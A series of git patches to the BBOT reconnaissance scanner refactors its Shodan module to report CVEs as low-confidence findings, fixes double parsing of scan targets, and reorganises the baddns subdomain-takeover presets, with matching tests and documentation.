self.warning(f"No Shodan data about {event.data}") - - except shodan.APIError as e: - self.error(f"Shodan API error: {e}") + # OPEN_TCP_PORT, OPEN_UDP_PORT Extraction + if "port" in data and "transport" in data: + if data["transport"] == "tcp": + await self.emit_event( + self.helpers.make_netloc(ip, data.get("port")), + "OPEN_TCP_PORT", + parent=event, + tags=data.get("tags") or [], + context=f"Shodan API {ip} request and find OPEN_TCP_PORT: {data.get('port')}", + ) + elif data["transport"] == "udp": + await self.emit_event( + self.helpers.make_netloc(ip, data.get("port")), + "OPEN_UDP_PORT", + parent=event, + tags=data.get("tags") or [], + context=f"Shodan API {ip} request and find OPEN_UDP_PORT: {data.get('port')}", + ) + else: + self.warning(f"Unknown transport {data['transport']}") + + # VULNERABILITY Extraction + if "vulns" in data: + for cve, vuln_data in data["vulns"].items(): + cvss = vuln_data.get("cvss", 0) + severity = max( + (level for level, threshold in severity_map.items() if cvss >= threshold), + key=lambda x: severity_map[x], + ) + vuln = { + "host": data.get("ip_str"), + "severity": severity, + "description": cve, + } + await self.emit_event( + vuln, + "VULNERABILITY", + parent=event, + tags=[], + context=f"Shodan API {ip} request and find VULNERABILITY {cve}", + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py b/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py index f59e39fcba..9f5ef52f8e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py +++ b/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py @@ -2,66 +2,56 @@ class TestShodan_Enterprise(ModuleTestBase): - # the module expects an IP address target and a valid API key targets = ["8.8.8.8"] config_overrides = {"modules": {"shodan_enterprise": {"api_key": "deadbeef"}}} async def setup_before_prep(self, module_test): - # the official shodan library uses `requests` under the hood, so - # our httpx_mock is ineffective. import the library and patch the - # Shodan.host method directly so we return predictable data. - import shodan # imported lazily to avoid breaking tests if missing - - fake_response = { - "asn": "AS15169", - "org": "Google LLC", - "isp": "Google LLC", - "country_code": "US", - "tags": ["cloud", "public-dns", "verified"], - "data": [ - { - "ip_str": "8.8.8.8", - "port": 53, - "transport": "tcp", - "product": "Google Public DNS", - "tags": ["dns", "nameserver"], - "cpe": ["cpe:/a:google:dns"], - "cpe23": ["cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*"], - "http": { - "components": { - "OpenSSL": {"categories": ["web-crypto"]}, - "nginx": {"categories": ["web-servers"]}, - } + module_test.httpx_mock.add_response( + url="https://api.shodan.io/shodan/host/8.8.8.8?key=deadbeef", + json={ + "asn": "AS15169", + "org": "Google LLC", + "isp": "Google LLC", + "country_code": "US", + "tags": ["cloud", "public-dns", "verified"], + "data": [ + { + "ip_str": "8.8.8.8", + "port": 53, + "transport": "tcp", + "product": "Google Public DNS", + "tags": ["dns", "nameserver"], + "cpe": ["cpe:/a:google:dns"], + "cpe23": ["cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*"], + "http": { + "components": { + "OpenSSL": {"categories": ["web-crypto"]}, + "nginx": {"categories": ["web-servers"]}, + } + }, + "vulns": { + "CVE-2021-12345": {"cvss": 7.5}, + "CVE-2022-11111": {"cvss": 9.7}, + "CVE-2020-00001": {"cvss": 2.5}, + }, }, - "vulns": { - "CVE-2021-12345": {"cvss": 7.5}, - "CVE-2022-11111": {"cvss": 9.7}, - "CVE-2020-00001": {"cvss": 2.5}, + { + "ip_str": "8.8.8.8", + "port": 53, + "transport": "udp", + "product": "Google Public DNS", + "tags": ["dns"], + "cpe": [], + "cpe23": [], + "http": {}, + "vulns": {}, }, - }, - { - "ip_str": "8.8.8.8", - "port": 53, - "transport": "udp", - "product": "Google Public DNS", - "tags": ["dns"], - "cpe": [], - "cpe23": [], - "http": {}, - "vulns": {}, - }, - ], - } - - def fake_host(self, ips, history=False, minify=False): - assert ips == "8.8.8.8" - return fake_response - - module_test.monkeypatch.setattr(shodan.Shodan, "host", fake_host) + ], + }, + ) def check(self, module_test, events): asn_events = [e for e in events if e.type == "ASN"] - self.log.critical(f"Found {len(asn_events)} ASN events") assert asn_events, "No ASN event detected" asn = asn_events[0].data assert asn.get("asn") == "15169" @@ -70,12 +60,10 @@ def check(self, module_test, events): assert asn.get("description") == "Google LLC" tcp_ports = [e.data for e in events if e.type == "OPEN_TCP_PORT"] udp_ports = [e.data for e in events if e.type == "OPEN_UDP_PORT"] - self.log.critical(f"TCP ports: {tcp_ports}, UDP ports: {udp_ports}") assert any("8.8.8.8:53" in str(p) for p in tcp_ports), "TCP port 53 not detected" assert any("8.8.8.8:53" in str(p) for p in udp_ports), "UDP port 53 not detected" vuln_events = [e for e in events if e.type == "VULNERABILITY"] vuln_map = {e.data.get("description"): e.data.get("severity") for e in vuln_events} - self.log.hugewarning(f"Vulnerabilities observed: {vuln_map}") assert "CVE-2021-12345" in vuln_map assert vuln_map["CVE-2021-12345"] == "HIGH" assert "CVE-2020-00001" in vuln_map From f8e11a62279eefa53fc12f27af8a6da094b4e085 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 2 Mar 2026 13:19:00 -0500 Subject: [PATCH 265/912] fix tests for 3.0 --- bbot/modules/shodan_enterprise.py | 24 ++++++++++--------- .../test_module_shodan_enterprise.py | 16 ++++++------- 2 files changed, 21 insertions(+), 19 deletions(-) diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index 04eabc8608..66dc03ee17 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -3,7 +3,7 @@ class shodan_enterprise(BaseModule): watched_events = ["IP_ADDRESS"] - produced_events = ["OPEN_TCP_PORT", "TECHNOLOGY", "OPEN_UDP_PORT", "ASN", "VULNERABILITY"] + produced_events = ["OPEN_TCP_PORT", "TECHNOLOGY", "OPEN_UDP_PORT", "ASN", "FINDING"] flags = ["passive", "safe"] meta = { "created_date": "2026-01-27", @@ -71,7 +71,7 @@ async def handle_event(self, event): "ASN", parent=event, tags=host.get("tags") or [], - context=f"Shodan API {ip} request and find ASN", + context=f"{{module}} queried Shodan API for {ip} and found ASN", ) if "data" not in host: @@ -91,7 +91,7 @@ async def handle_event(self, event): "TECHNOLOGY", parent=event, tags=data.get("tags") or [], - context=f"Shodan API {ip} request and find TECHNOLOGY: {technology}", + context=f"{{module}} queried Shodan API for {ip} and found TECHNOLOGY: {technology}", ) for technology in data.get("cpe23", []): @@ -101,7 +101,7 @@ async def handle_event(self, event): "TECHNOLOGY", parent=event, tags=data.get("tags") or [], - context=f"Shodan API {ip} request and find TECHNOLOGY: {technology}", + context=f"{{module}} queried Shodan API for {ip} and found TECHNOLOGY: {technology}", ) # TECHNOLOGY Additional Formats @@ -116,7 +116,7 @@ async def handle_event(self, event): "TECHNOLOGY", parent=event, tags=data.get("tags") or [], - context=f"Shodan API {ip} request and find TECHNOLOGY: {data['product']}", + context=f"{{module}} queried Shodan API for {ip} and found TECHNOLOGY: {data['product']}", ) if "http" in data: @@ -130,7 +130,7 @@ async def handle_event(self, event): "TECHNOLOGY", parent=event, tags=tags, - context=f"Shodan API {ip} request and find TECHNOLOGY: {technology}", + context=f"{{module}} queried Shodan API for {ip} and found TECHNOLOGY: {technology}", ) # OPEN_TCP_PORT, OPEN_UDP_PORT Extraction @@ -141,7 +141,7 @@ async def handle_event(self, event): "OPEN_TCP_PORT", parent=event, tags=data.get("tags") or [], - context=f"Shodan API {ip} request and find OPEN_TCP_PORT: {data.get('port')}", + context=f"{{module}} queried Shodan API for {ip} and found OPEN_TCP_PORT: {data.get('port')}", ) elif data["transport"] == "udp": await self.emit_event( @@ -149,12 +149,12 @@ async def handle_event(self, event): "OPEN_UDP_PORT", parent=event, tags=data.get("tags") or [], - context=f"Shodan API {ip} request and find OPEN_UDP_PORT: {data.get('port')}", + context=f"{{module}} queried Shodan API for {ip} and found OPEN_UDP_PORT: {data.get('port')}", ) else: self.warning(f"Unknown transport {data['transport']}") - # VULNERABILITY Extraction + # FINDING Extraction if "vulns" in data: for cve, vuln_data in data["vulns"].items(): cvss = vuln_data.get("cvss", 0) @@ -163,14 +163,16 @@ async def handle_event(self, event): key=lambda x: severity_map[x], ) vuln = { + "name": "Shodan - Possible Vulnerabilities", "host": data.get("ip_str"), "severity": severity, "description": cve, + "confidence": "LOW" } await self.emit_event( vuln, - "VULNERABILITY", + "FINDING", parent=event, tags=[], - context=f"Shodan API {ip} request and find VULNERABILITY {cve}", + context=f"{{module}} queried Shodan API for {ip} and found FINDING {cve}", ) diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py b/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py index 9f5ef52f8e..9141bc3a4e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py +++ b/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py @@ -62,15 +62,15 @@ def check(self, module_test, events): udp_ports = [e.data for e in events if e.type == "OPEN_UDP_PORT"] assert any("8.8.8.8:53" in str(p) for p in tcp_ports), "TCP port 53 not detected" assert any("8.8.8.8:53" in str(p) for p in udp_ports), "UDP port 53 not detected" - vuln_events = [e for e in events if e.type == "VULNERABILITY"] - vuln_map = {e.data.get("description"): e.data.get("severity") for e in vuln_events} - assert "CVE-2021-12345" in vuln_map - assert vuln_map["CVE-2021-12345"] == "HIGH" - assert "CVE-2020-00001" in vuln_map - assert vuln_map["CVE-2020-00001"] == "LOW" + finding_events = [e for e in events if e.type == "FINDING"] + finding_map = {e.data.get("description"): e.data.get("severity") for e in finding_events} + assert "CVE-2021-12345" in finding_map + assert finding_map["CVE-2021-12345"] == "HIGH" + assert "CVE-2020-00001" in finding_map + assert finding_map["CVE-2020-00001"] == "LOW" tech_events = [e for e in events if e.type == "TECHNOLOGY"] tech_names = {e.data.get("technology") for e in tech_events} assert "cpe:/a:google:dns" in tech_names - assert "Google Public DNS" in tech_names - assert "OpenSSL" in tech_names + assert "google public dns" in tech_names + assert "openssl" in tech_names assert "nginx" in tech_names From 48f44c11412de75191653e71208279622d80323f Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 2 Mar 2026 13:19:12 -0500 Subject: [PATCH 266/912] ruffed --- bbot/modules/shodan_enterprise.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index 66dc03ee17..092d9d1b0c 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -167,7 +167,7 @@ async def handle_event(self, event): "host": data.get("ip_str"), "severity": severity, "description": cve, - "confidence": "LOW" + "confidence": "LOW", } await self.emit_event( vuln, From 6fdb2fddb5f817a016c82d6e745d3944821eda1d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 2 Mar 2026 13:37:21 -0500 Subject: [PATCH 267/912] Fix double-parsing of targets in BBOTTarget init --- bbot/scanner/target.py | 10 +++++++--- bbot/test/test_step_1/test_target.py | 28 ++++++++++++++++++++++++++++ 2 files changed, 35 insertions(+), 3 deletions(-) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 3420b366b1..7823cb39dd 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -82,7 +82,11 @@ def add(self, targets, data=None): targets = [targets] event_seeds = set() for target in targets: - event_seed = EventSeed(target) + # accept pre-parsed EventSeed objects to avoid expensive re-parsing + if isinstance(target, BaseEventSeed): + event_seed = target + else: + event_seed = EventSeed(target) if not event_seed._target_type in self.accept_target_types: log.warning(f"Invalid target type for {self.__class__.__name__}: {event_seed.type}") continue @@ -244,9 +248,9 @@ def __init__(self, seeds=None, target=None, blacklist=None, strict_dns_scope=Fal self.target = ScanTarget(*target_list, strict_dns_scope=strict_dns_scope) # Seeds are only copied from target if target is defined but seeds are NOT defined - # Use target.inputs (original inputs) to preserve all inputs, including subdomains + # Pass pre-parsed event_seeds to avoid expensive re-parsing of every target string if seeds is None: - seeds = self.target.inputs + seeds = list(self.target.event_seeds) self.seeds = ScanSeeds(*list(seeds), strict_dns_scope=strict_dns_scope) blacklist_list = list(blacklist) if blacklist else [] diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index b9b0cd7fa2..138578b793 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -413,3 +413,31 @@ async def test_blacklist_regex(bbot_scanner, bbot_httpserver): urls = [e.data for e in events if e.type == "URL"] assert len(urls) == 1 assert set(urls) == {"http://127.0.0.1:8888/"} + + +def test_no_double_parsing(): + """Regression test: when seeds are auto-populated from target, EventSeed parsing + should happen only once (via ScanTarget), not twice. BBOTTarget should pass + pre-parsed EventSeed objects to ScanSeeds instead of raw strings.""" + from unittest.mock import patch + from bbot.scanner.target import BBOTTarget + from bbot.core.event.helpers import EventSeed as _real_EventSeed + + targets = ["evilcorp.com", "1.2.3.4", "https://example.com", "10.0.0.0/24"] + + call_count = 0 + original_EventSeed = _real_EventSeed + + def counting_EventSeed(input): + nonlocal call_count + call_count += 1 + return original_EventSeed(input) + + with patch("bbot.scanner.target.EventSeed", side_effect=counting_EventSeed): + BBOTTarget(target=targets) + + # EventSeed should be called once per target (for ScanTarget), not twice + assert call_count == len(targets), ( + f"EventSeed was called {call_count} times for {len(targets)} targets; " + f"expected {len(targets)} (seeds should reuse pre-parsed EventSeed objects)" + ) From e42be78a6adcd56a77832c6809041869998d1800 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 1 Mar 2026 10:06:31 -0500 Subject: [PATCH 268/912] =?UTF-8?q?baddns=20preset=20tiers,=20auto-filter?= =?UTF-8?q?=20submodules,=20rename=20intense=E2=86=92heavy?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Add submodule auto-filter: disable submodules whose max severity/confidence is below configured thresholds (avoids running expensive submodules for nothing) - Create baddns.yml base preset (CNAME, MX, TXT) and baddns-heavy.yml (all submodules) - Rename spider-intense→spider-heavy, baddns-intense→baddns-heavy - Fix baddns_zone default min_severity to INFORMATIONAL (NSEC/zonetransfer need it) - Update kitchen-sink.yml, remove stale enable_references v1.x config - Fix baddns_zone NSEC test (bad.dns→bad.com for tldextract compatibility) - Fix baddns_direct test (updated signature matcher for baddns 2.0) - Update all preset warning messages and docs references --- README.md | 7 +-- bbot/modules/baddns.py | 50 +++++++++++++++++++ bbot/modules/baddns_zone.py | 2 +- bbot/presets/baddns-heavy.yml | 21 ++++++++ bbot/presets/baddns-intense.yml | 12 ----- bbot/presets/baddns.yml | 11 ++++ bbot/presets/kitchen-sink.yml | 7 +-- bbot/presets/nuclei/nuclei-intense.yml | 2 +- .../{spider-intense.yml => spider-heavy.yml} | 0 bbot/presets/web/lightfuzz-light.yml | 2 +- bbot/presets/web/lightfuzz-xss.yml | 2 +- bbot/presets/web/paramminer.yml | 2 +- .../module_tests/test_module_baddns_direct.py | 7 ++- .../module_tests/test_module_baddns_zone.py | 12 +++-- docs/modules/lightfuzz.md | 2 +- docs/scanning/presets_list.md | 50 ++++++++++--------- 16 files changed, 129 insertions(+), 60 deletions(-) create mode 100644 bbot/presets/baddns-heavy.yml delete mode 100644 bbot/presets/baddns-intense.yml create mode 100644 bbot/presets/baddns.yml rename bbot/presets/{spider-intense.yml => spider-heavy.yml} (100%) diff --git a/README.md b/README.md index 58f5425db0..79610a4d33 100644 --- a/README.md +++ b/README.md @@ -219,12 +219,7 @@ include: - paramminer - dirbust-light - web-screenshots - - baddns-intense - -config: - modules: - baddns: - enable_references: True + - baddns-heavy ``` diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index 9981218680..2b014ba795 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -8,6 +8,34 @@ SEVERITY_LEVELS = ("INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL") CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MODERATE", "HIGH", "CONFIRMED") +SUBMODULE_MAX_SEVERITY = { + "CNAME": "MEDIUM", + "NS": "MEDIUM", + "MX": "MEDIUM", + "TXT": "LOW", + "references": "MEDIUM", + "NSEC": "INFORMATIONAL", + "zonetransfer": "INFORMATIONAL", + "DMARC": "INFORMATIONAL", + "SPF": "MEDIUM", + "MTA-STS": "HIGH", + "WILDCARD": "HIGH", +} + +SUBMODULE_MAX_CONFIDENCE = { + "CNAME": "CONFIRMED", + "NS": "HIGH", + "MX": "CONFIRMED", + "TXT": "CONFIRMED", + "references": "CONFIRMED", + "NSEC": "CONFIRMED", + "zonetransfer": "CONFIRMED", + "DMARC": "CONFIRMED", + "SPF": "CONFIRMED", + "MTA-STS": "CONFIRMED", + "WILDCARD": "CONFIRMED", +} + class baddns(BaseModule): watched_events = ["DNS_NAME", "DNS_NAME_UNRESOLVED"] @@ -40,6 +68,24 @@ def set_modules(self): if self.enabled_submodules == []: self.enabled_submodules = ["CNAME", "MX", "TXT"] + def _filter_submodules(self): + filtered = [] + for name in self.enabled_submodules: + max_sev = SUBMODULE_MAX_SEVERITY.get(name) + max_conf = SUBMODULE_MAX_CONFIDENCE.get(name) + if max_sev is None or max_conf is None: + filtered.append(name) + continue + sev_idx = SEVERITY_LEVELS.index(max_sev) if max_sev in SEVERITY_LEVELS else 0 + conf_idx = CONFIDENCE_LEVELS.index(max_conf) if max_conf in CONFIDENCE_LEVELS else 0 + if sev_idx < self._min_sev_idx or conf_idx < self._min_conf_idx: + self.verbose( + f"Auto-disabling submodule [{name}]: max_severity={max_sev}, max_confidence={max_conf} below configured thresholds" + ) + else: + filtered.append(name) + return filtered + def _meets_threshold(self, severity, confidence): sev_idx = SEVERITY_LEVELS.index(severity) if severity in SEVERITY_LEVELS else 0 conf_idx = CONFIDENCE_LEVELS.index(confidence) if confidence in CONFIDENCE_LEVELS else 0 @@ -62,6 +108,10 @@ async def setup(self): self._min_conf_idx = CONFIDENCE_LEVELS.index(min_confidence) self.signatures = load_signatures() self.set_modules() + self.enabled_submodules = self._filter_submodules() + if not self.enabled_submodules: + self.warning("All submodules were disabled by severity/confidence thresholds") + return False all_submodules_list = [m.name for m in get_all_modules()] for m in self.enabled_submodules: if m not in all_submodules_list: diff --git a/bbot/modules/baddns_zone.py b/bbot/modules/baddns_zone.py index f711faac61..d51d10ef4f 100644 --- a/bbot/modules/baddns_zone.py +++ b/bbot/modules/baddns_zone.py @@ -10,7 +10,7 @@ class baddns_zone(baddns_module): "created_date": "2024-01-29", "author": "@liquidsec", } - options = {"custom_nameservers": [], "min_severity": "LOW", "min_confidence": "MODERATE"} + options = {"custom_nameservers": [], "min_severity": "INFORMATIONAL", "min_confidence": "MODERATE"} options_desc = { "custom_nameservers": "Force BadDNS to use a list of custom nameservers", "min_severity": "Minimum severity to emit (INFORMATIONAL, LOW, MEDIUM, HIGH, CRITICAL)", diff --git a/bbot/presets/baddns-heavy.yml b/bbot/presets/baddns-heavy.yml new file mode 100644 index 0000000000..7171728864 --- /dev/null +++ b/bbot/presets/baddns-heavy.yml @@ -0,0 +1,21 @@ +description: Run all baddns modules and submodules. + +include: + - baddns + +modules: + - baddns_zone + - baddns_direct + +config: + modules: + baddns: + enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD] + min_severity: INFORMATIONAL + min_confidence: UNKNOWN + baddns_zone: + min_severity: INFORMATIONAL + min_confidence: UNKNOWN + baddns_direct: + min_severity: INFORMATIONAL + min_confidence: UNKNOWN diff --git a/bbot/presets/baddns-intense.yml b/bbot/presets/baddns-intense.yml deleted file mode 100644 index 8afeebd3d9..0000000000 --- a/bbot/presets/baddns-intense.yml +++ /dev/null @@ -1,12 +0,0 @@ -description: Run all baddns modules and submodules. - - -modules: - - baddns - - baddns_zone - - baddns_direct - -config: - modules: - baddns: - enabled_submodules: [CNAME,references,MX,NS,TXT] diff --git a/bbot/presets/baddns.yml b/bbot/presets/baddns.yml new file mode 100644 index 0000000000..c737257011 --- /dev/null +++ b/bbot/presets/baddns.yml @@ -0,0 +1,11 @@ +description: Check for subdomain takeovers and other DNS issues. + +modules: + - baddns + +config: + modules: + baddns: + enabled_submodules: [CNAME, MX, TXT] + min_severity: LOW + min_confidence: MODERATE diff --git a/bbot/presets/kitchen-sink.yml b/bbot/presets/kitchen-sink.yml index c01039099e..7b98d2934e 100644 --- a/bbot/presets/kitchen-sink.yml +++ b/bbot/presets/kitchen-sink.yml @@ -10,9 +10,4 @@ include: - paramminer - dirbust-light - web-screenshots - - baddns-intense - -config: - modules: - baddns: - enable_references: True + - baddns-heavy diff --git a/bbot/presets/nuclei/nuclei-intense.yml b/bbot/presets/nuclei/nuclei-intense.yml index 27f833c387..6486ca8586 100644 --- a/bbot/presets/nuclei/nuclei-intense.yml +++ b/bbot/presets/nuclei/nuclei-intense.yml @@ -18,7 +18,7 @@ config: conditions: - | {% if config.web.spider_distance == 0 and config.modules.nuclei.directory_only == False %} - {{ warn("The 'nuclei-intense' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-intense' preset.") }} + {{ warn("The 'nuclei-intense' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-heavy' preset.") }} {% endif %} diff --git a/bbot/presets/spider-intense.yml b/bbot/presets/spider-heavy.yml similarity index 100% rename from bbot/presets/spider-intense.yml rename to bbot/presets/spider-heavy.yml diff --git a/bbot/presets/web/lightfuzz-light.yml b/bbot/presets/web/lightfuzz-light.yml index 85bd2a81a1..3c8f69ec07 100644 --- a/bbot/presets/web/lightfuzz-light.yml +++ b/bbot/presets/web/lightfuzz-light.yml @@ -17,5 +17,5 @@ config: conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} diff --git a/bbot/presets/web/lightfuzz-xss.yml b/bbot/presets/web/lightfuzz-xss.yml index 83354cd291..46a922bb09 100644 --- a/bbot/presets/web/lightfuzz-xss.yml +++ b/bbot/presets/web/lightfuzz-xss.yml @@ -18,5 +18,5 @@ config: conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} diff --git a/bbot/presets/web/paramminer.yml b/bbot/presets/web/paramminer.yml index 3057a1b3a9..634e883742 100644 --- a/bbot/presets/web/paramminer.yml +++ b/bbot/presets/web/paramminer.yml @@ -11,5 +11,5 @@ modules: conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} \ No newline at end of file diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py b/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py index b2b49717c8..03b98b8dd0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py @@ -44,7 +44,10 @@ def set_target(self, target): module_test.scan.modules["dummy_module"] = self.dummy_module expect_args = {"method": "GET", "uri": "/"} - respond_args = {"response_data": "The specified bucket does not exist", "status": 401} + respond_args = { + "response_data": "NoSuchBucketThe specified bucket does not existbad.dns", + "status": 401, + } module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) await module_test.mock_dns({"bad.dns": {"A": ["127.0.0.1"]}}) @@ -55,7 +58,7 @@ def set_target(self, target): def check(self, module_test, events): assert any( e.type == "FINDING" - and "Possible [AWS Bucket Takeover Detection] via direct BadDNS analysis. Indicator: [[Words: The specified bucket does not exist | Condition: and | Part: body] Matchers-Condition: and] Trigger: [self] baddns Module: [CNAME]" + and "Possible [AWS Bucket Takeover Detection] via direct BadDNS analysis. Indicator: [[Words: The specified bucket does not exist, BucketName | Condition: and | Part: body] Matchers-Condition: and] Trigger: [self] baddns Module: [CNAME]" in e.data["description"] for e in events ), "Failed to emit FINDING" diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py b/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py index 10da342217..688f105ea5 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py @@ -43,20 +43,22 @@ def check(self, module_test, events): class TestBaddns_zone_nsec(BaseTestBaddns_zone): + targets = ["bad.com"] + async def setup_after_prep(self, module_test): from baddns.lib.whoismanager import WhoisManager await module_test.mock_dns( { - "bad.dns": {"A": ["127.0.0.5"], "NSEC": ["asdf.bad.dns"]}, - "asdf.bad.dns": {"NSEC": ["zzzz.bad.dns"]}, - "zzzz.bad.dns": {"NSEC": ["xyz.bad.dns"]}, + "bad.com": {"A": ["127.0.0.5"], "NSEC": ["asdf.bad.com"]}, + "asdf.bad.com": {"NSEC": ["zzzz.bad.com"]}, + "zzzz.bad.com": {"NSEC": ["xyz.bad.com"]}, } ) module_test.monkeypatch.setattr(WhoisManager, "dispatchWHOIS", self.dispatchWHOIS) def check(self, module_test, events): - assert any(e.data == "zzzz.bad.dns" for e in events), "NSEC Walk Failed (1)" - assert any(e.data == "xyz.bad.dns" for e in events), "NSEC Walk Failed (2)" + assert any(e.data == "zzzz.bad.com" for e in events), "NSEC Walk Failed (1)" + assert any(e.data == "xyz.bad.com" for e in events), "NSEC Walk Failed (2)" assert any(e.type == "FINDING" for e in events), "Failed to emit FINDING" assert any("baddns-nsec" in e.tags for e in events), "Failed to add baddns tag" diff --git a/docs/modules/lightfuzz.md b/docs/modules/lightfuzz.md index ecaf733a4c..a869c1ce96 100644 --- a/docs/modules/lightfuzz.md +++ b/docs/modules/lightfuzz.md @@ -92,7 +92,7 @@ This is a special Lightfuzz preset that focuses entirely on XSS, to make XSS hun We also *strongly* recommend running Lightfuzz with the spider enabled, as this will dramatically increase the number of parameters that are discovered. If you don't, you will see a warning reminding you that things will work a lot better if you do. -That can be done by simply also enabling either the `spider` or `spider-intense` preset. +That can be done by simply also enabling either the `spider` or `spider-heavy` preset. # Usage diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index af7ca4db37..5448317b8d 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -1,24 +1,33 @@ Below is a list of every default BBOT preset, including its YAML. -## **baddns-intense** +## **baddns-heavy** Run all baddns modules and submodules. -??? note "`baddns-intense.yml`" - ```yaml title="~/.bbot/presets/baddns-intense.yml" +??? note "`baddns-heavy.yml`" + ```yaml title="~/.bbot/presets/baddns-heavy.yml" description: Run all baddns modules and submodules. - - - modules: + + include: - baddns + + modules: - baddns_zone - baddns_direct - + config: modules: baddns: - enabled_submodules: [CNAME,references,MX,NS,TXT] + enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD] + min_severity: INFORMATIONAL + min_confidence: UNKNOWN + baddns_zone: + min_severity: INFORMATIONAL + min_confidence: UNKNOWN + baddns_direct: + min_severity: INFORMATIONAL + min_confidence: UNKNOWN ``` @@ -261,12 +270,7 @@ Everything everywhere all at once - paramminer - dirbust-light - web-screenshots - - baddns-intense - - config: - modules: - baddns: - enable_references: True + - baddns-heavy ``` @@ -326,7 +330,7 @@ Discover web parameters and lightly fuzz them for vulnerabilities, with only the conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} ``` @@ -412,7 +416,7 @@ Discover web parameters and lightly fuzz them, limited to just GET-based xss vul conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} ``` @@ -523,7 +527,7 @@ Run nuclei scans against all discovered targets, allowing for spidering, against conditions: - | {% if config.web.spider_distance == 0 and config.modules.nuclei.directory_only == False %} - {{ warn("The 'nuclei-intense' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-intense' preset.") }} + {{ warn("The 'nuclei-intense' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-heavy' preset.") }} {% endif %} @@ -591,7 +595,7 @@ Discover new web parameters via brute-force, and analyze them with additional mo conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} ``` @@ -628,12 +632,12 @@ Recursive web spider Modules: [1]("`httpx`") -## **spider-intense** +## **spider-heavy** Recursive web spider with more aggressive settings -??? note "`spider-intense.yml`" - ```yaml title="~/.bbot/presets/spider-intense.yml" +??? note "`spider-heavy.yml`" + ```yaml title="~/.bbot/presets/spider-heavy.yml" description: Recursive web spider with more aggressive settings include: @@ -782,7 +786,7 @@ Here is a the same data, but in a table: | Preset | Category | Description | # Modules | Modules | 